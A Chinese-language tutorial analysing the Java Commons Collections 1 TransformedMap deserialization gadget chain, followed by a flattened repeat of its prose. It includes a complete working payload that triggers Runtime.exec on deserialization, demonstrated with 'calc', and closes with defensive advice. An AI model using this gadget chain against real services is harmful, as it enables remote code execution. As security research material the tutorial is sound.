java反序列化CC1 TransformedMap链
字数 1215 2025-08-10 22:07:53

Java反序列化漏洞分析:Commons Collections 1 (CC1) TransformedMap链利用详解

一、漏洞背景

Java反序列化漏洞是Java安全领域的重要议题,其中Apache Commons Collections库的反序列化漏洞(CC1)是最经典的案例之一。本教程将详细分析CC1漏洞中TransformedMap链的利用过程。

二、环境准备

  • JDK版本: 1.7.0_80
  • 依赖库: commons-collections-3.2

三、核心调用链分析

完整调用链如下:

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

四、关键方法解析

1. InvokerTransformer.transform()

这是整个利用链的核心方法,通过反射执行任意方法:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (Exception ex) {
        // 异常处理
    }
}

参数说明

  • methodName: 要调用的方法名称
  • paramType: 方法参数类型
  • args: 传入方法的参数
  • input: 执行方法的对象

2. ChainedTransformer.transform()

该方法循环执行Transformer数组中的transform方法:

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

3. ConstantTransformer.transform()

简单的对象转换方法:

public Object transform(Object input) {
    return iConstant;
}

五、漏洞利用步骤

1. 构造Transformer执行链

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);

2. 构造TransformedMap

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aaa");  // 注意key必须是注解类中的方法名
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chain);

3. 构造AnnotationInvocationHandler

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);

4. 序列化与反序列化触发

// 序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
outputStream.writeObject(o);

// 反序列化触发
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
inputStream.readObject();

六、关键点分析

1. 为什么需要ConstantTransformer?

ConstantTransformer将任意输入对象转换为指定对象(这里是Runtime.class),为后续InvokerTransformer提供正确的反射目标。

2. 为什么key必须是"value"?

因为使用了Target.class注解,该注解只有一个value()方法。在AnnotationInvocationHandler.readObject()中:

for (Map.Entry<Object, Object> memberValue : memberValues.entrySet()) {
    String name = (String) memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);  // 这里需要name匹配注解方法名
    if (memberType != null) {  // 如果为null则跳过
        Object value = memberValue.getValue();
        if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
            memberValue.setValue(...);  // 触发点
        }
    }
}

3. 为什么JDK 1.8+不受影响?

JDK 1.8对AnnotationInvocationHandler.readObject()进行了修改,不再调用setValue方法,因此无法触发后续利用链。

七、完整Payload

private void exploit() throws Exception {
    // 构造Transformer执行链
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[]{String.class, Class[].class}, 
            new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", 
            new Class[]{Object.class, Object[].class}, 
            new Object[]{null, null}),
        new InvokerTransformer("exec", 
            new Class[]{String.class}, 
            new Object[]{"calc"})
    };
    ChainedTransformer chain = new ChainedTransformer(transformers);
    
    // 构造TransformedMap
    HashMap<Object, Object> map = new HashMap<>();
    map.put("value", "aaa");
    Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chain);
    
    // 通过反射构造AnnotationInvocationHandler
    Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object handler = constructor.newInstance(Target.class, transformedMap);
    
    // 序列化
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(handler);
    oos.close();
    
    // 反序列化触发
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
    ois.readObject();
}

八、注意事项

  1. 仅适用于JDK 1.7及以下版本
  2. 必须使用包含方法的注解类(如Target.class)
  3. Map的key必须与注解类中的方法名一致
  4. Commons Collections版本需为3.2.1及以下

九、防御建议

  1. 升级Commons Collections到最新版本
  2. 使用JDK 1.8及以上版本
  3. 对反序列化操作进行白名单控制
  4. 使用安全框架如SerialKiller过滤恶意序列化数据

通过以上详细分析,我们可以深入理解CC1 TransformedMap链的利用原理和实现方式,为Java反序列化安全研究打下坚实基础。

Java反序列化漏洞分析:Commons Collections 1 (CC1) TransformedMap链利用详解 一、漏洞背景 Java反序列化漏洞是Java安全领域的重要议题,其中Apache Commons Collections库的反序列化漏洞(CC1)是最经典的案例之一。本教程将详细分析CC1漏洞中TransformedMap链的利用过程。 二、环境准备 JDK版本 : 1.7.0_ 80 依赖库 : commons-collections-3.2 三、核心调用链分析 完整调用链如下: 四、关键方法解析 1. InvokerTransformer.transform() 这是整个利用链的核心方法,通过反射执行任意方法: 参数说明 : methodName : 要调用的方法名称 paramType : 方法参数类型 args : 传入方法的参数 input : 执行方法的对象 2. ChainedTransformer.transform() 该方法循环执行Transformer数组中的transform方法: 3. ConstantTransformer.transform() 简单的对象转换方法: 五、漏洞利用步骤 1. 构造Transformer执行链 2. 构造TransformedMap 3. 构造AnnotationInvocationHandler 4. 序列化与反序列化触发 六、关键点分析 1. 为什么需要ConstantTransformer? ConstantTransformer将任意输入对象转换为指定对象(这里是Runtime.class),为后续InvokerTransformer提供正确的反射目标。 2. 为什么key必须是"value"? 因为使用了Target.class注解,该注解只有一个value()方法。在AnnotationInvocationHandler.readObject()中: 3. 为什么JDK 1.8+不受影响? JDK 1.8对AnnotationInvocationHandler.readObject()进行了修改,不再调用setValue方法,因此无法触发后续利用链。 七、完整Payload 八、注意事项 仅适用于JDK 1.7及以下版本 必须使用包含方法的注解类(如Target.class) Map的key必须与注解类中的方法名一致 Commons Collections版本需为3.2.1及以下 九、防御建议 升级Commons Collections到最新版本 使用JDK 1.8及以上版本 对反序列化操作进行白名单控制 使用安全框架如SerialKiller过滤恶意序列化数据 通过以上详细分析,我们可以深入理解CC1 TransformedMap链的利用原理和实现方式,为Java反序列化安全研究打下坚实基础。